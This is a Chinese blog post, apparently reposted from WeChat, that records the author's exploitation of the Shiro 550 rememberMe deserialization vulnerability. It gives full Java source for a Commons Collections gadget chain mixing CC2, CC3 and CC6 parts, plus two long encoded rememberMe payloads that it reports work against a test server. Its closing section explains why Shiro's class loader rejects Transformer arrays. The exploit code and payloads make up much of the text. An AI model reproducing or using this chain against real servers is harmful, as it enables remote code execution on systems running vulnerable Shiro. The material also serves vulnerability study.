Shrio下的CC链利用
Shiro 550反序列化漏洞分析
https://goodapple.top/archives/139
Java反序列化漏洞——Shiro550 - 枫のBlog (goodapple.top)
浅析Shiro rememberMe反序列化漏洞(Shiro550) Mi1k7ea ]
shiro里面不带CC依赖的,之前我们部署的时候已经手动在pom.xml
中进行了添加。
(看文章说一般都是添加Commons Collections的4版本去打,在ysoserial中,只有cc2能打shiro的漏洞的。CC2这个链对应的就是Commons Collections的版本4,其实是写法的问题。)
在Commons Collections 3中使用CC6的链打一下。生成ser.bin。用生成exp的脚本处理一下。
PS E:myPC桌面> python.exe .shiro_rce.py
/mzBfV2gTf6M05izWr8tN3xNcI9F2+/7v1yTG8CJ55WQbiHtYVT3mMNAyUBVSwocD/fzcFA4Z2R3JtyuH19qd3Jzh/DiG6ezpCYZA1mIJ3vG+D5BMN26EYONBTq89dgRFGsYnpwsLoJtCr9HbreDFP5OZ11XI67rECvblKVBZwpFzLE4IsTNkDIoCodolD13kQhpcb5tV1ocoiNJypZOEiPVEZ9M0QR5PrpgaODa+niOZVXzbKow84hLaw98Lvdo/70jFOzk01h75f4GMcfXFYZFQ38gWcQBPJYftIQZ+7DHBtS7FR/1iJYtdwL9iGDKAe3ktHbEJMS6JNx1Yz9GWpRBhuFZAneUyBPjLrOofBVvw08WJfyQWIcBym+Y9RF7F53epckbx5GCE9EMb1JHy+3l1l3kljbB71P0SDQVz5ykxqjBrYTHCohW94T3PMBjMY+H1P3x7GABr51EFSZQ1L1UtaqtnD+e4RAj9z65XrplJj2WAETQzYPXCQMO/H8PKYDwKdS8tQUW6eZMfqE1R7SfIQFZylE7qKN9WH5Zf98byqFcoRONvHPPczmlHhIgYoNAg3Ti1owDYsIR9dOAEuvkTWI5hSbez6FGD1brir7JW24bz+L2HTg5sXa9d1G7IDWuz7Llx6Mk92R8N0sk36cazrJmLPG8YZy4rno0FZpti9i7x/+W6s0l6HsYAzEjIDd1ocDJIZyWq/89rI7HVdTLxNS+bYjup2vI2hpvB3YuoPOW0Oacki/fijljFoShaoaEoeHds+LS6yMMXYaQXMASN1/dIYjlvQYiqUXLG+HyoNwm1J/pu4LczOcA/R6IlfALi8yP+18M44lryJWGyscwHZKXcHpXFkSPTVuY6jcQEfy6Cxjx+3vZuCe5XzDhKTqL3iEFOxJ3AOO/Nu+IHPjCvyn28/zqkX195V8hOaefN63BIL7JU1vVsEouYnHLdRWCbV8d6zVZFnIwqdZlictMhi7Z6EEAtH+C+nl+9zO/MEUq+47knv9eTSmt76QBrdCoG2LPXGGOu2GfM+6xuM7vf1ldV0YWnCgNiM1IB05Dp4v6DPRCmspafnnnE2hLQIWOW2xFabK2HWylRHsdJVZ2gNJ+x9CvuhXHzr+quVL0JSW1b2bT1EPqepPmrH2Rvt2z1eH5dOyPTY2RYBiJ4go69iEtYFaftOt0mRV1UTS64Tu8bbML073oLttjWwrN/hBsZQVRGlOZ4BIvl6UYcAy6lyxvu9vJv2KUiEbpe/jT54Zx1TLFk6cNazAadfxp/WqJOE0tW6p3YFWtq+xB4Bo/cEHF1owbQoA2PidRMdRTfayAXJRLEb9w93bKQmAWHlx6FdcIdfE0AD0u4NXytxg3kUghNj7gQ+OnK8HWmJ89SbXlw9eciFMjL+eWRBSdu71J+6LOIwuZ4Angi2M9ZXP9FPz6QuO7RMEuPD0YlrHwhFD+81osUYIpJS/mfQctfKxRp80T87N0NiH4eibW7g5kq7bSNKqFTNhFrcd6QBuHwnaPozepNQ+liSqGf9w6
然后发到我们的server报错提示有一个类无法加载
Lorg.apache.commons.collections.Transformer
他是一个数组类,由于双亲委派,不断的去找这个类,导致有很多条报错。
加载不到的原因:找到第一个报错的地方,跟一下。
跟进去看一下,它调用了一个ClassResolvingObjectInputStream
的readObject
ClassResolvingObjectInputStream
是shiro里面自定义的对象输入流,跟进去,
又调用了ClassUtils.forName
,看注释,简单翻译,一共加载了三次,
挖了坑,大致上就是loadClass,无法加载数据类,然后导致的。因此需要payload中,不能有数组类。
根据其他参考
在CC2中,我们直接使用了InvokerTransformer类来加载,后半条链使用的是动态加载类,这样可以绕过Transformers数组,因为如果后半条链使用Runtime的话,需要反射来递归加载,这样就必须使用到数组
接着在CC2中,我们使用的是
PriorityQueue
这个类,但是这个类是commons-collections4才有的类,我们可以尝试使用无依赖的版本,也就是使用CC6的后半条链HashMap我们想要调用
InvokerTransformer.Transformer()
,在CC6中是通过LazyMap.get()
来调用的,对象是factory
,将其链接起来
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class shiroCC1 {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templatesimpl=new TemplatesImpl();
Class c=templatesimpl.getClass();
Field _nameField=c.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesimpl,"aaa");
Field _byteCodesField=c.getDeclaredField("_bytecodes");
_byteCodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D:\code\java_source\5\CC\target\classes\org\example\Test.class"));
byte[][] codes= {code};
_byteCodesField.set(templatesimpl,codes);
//CC2
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
//CC6
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templatesimpl);
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"eee");
lazyMap.remove(templatesimpl);
//反射修改LazyMap类的factory属性
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
serialize(hashMap2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("shiroCC01.bin"));
oos.writeObject(obj);
}
//反序列化
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object object=ois.readObject();
return object;
}
}
OK,bin文件没有问题~可以用了。
然后导出shiroCC.bin,生成
PS E:myPC桌面> python.exe .shiro_rce.py
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
发过去就OK了~
继续整。
为什么Shiro无法反序列化Transformers数组
在我们反序列化的时候,在readObject
之前,初始化了一个ClassResolvingObjectInputStream
类,调用它的readObject()
在ClassResolvingObjectInputStream
类中有一个resolveClass()
方法,实际上这个方法在readObject()
时会调用
readObject()
调用readObject0()
,readObject0()
中调用readClassDesc()
,readClassDesc()
中调用readNonProxyDesc()
,在readNonProxyDesc()
中调用了resolveClass()
, resolveClass()
中的forName()
,这里加载了HashMap
跟进loadClass()
,这里调用了Tomcat的WebApp
这个加载器的loadClass()
,跟进(需要下载Tomcat源码)
但事实上,真正调用到此处时,使用的是URLClassLoader
根据流程,这个ParallelWebappClassLoader
类加载器会先寻找内部缓存,如果找不到的话再交给URLClassLoader
。path值能找得到,反而才奇怪。找的其实是Transformer.class
的路径,但是并不存在这个路径,所以当然找不到。
因此,这就是Shiro找不到Transformer数组类型的真正原因。经过测试,把数组去掉,正常初始化。
原文始发于微信公众号(wulala520):Shiro 550 CC链利用踩坑记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论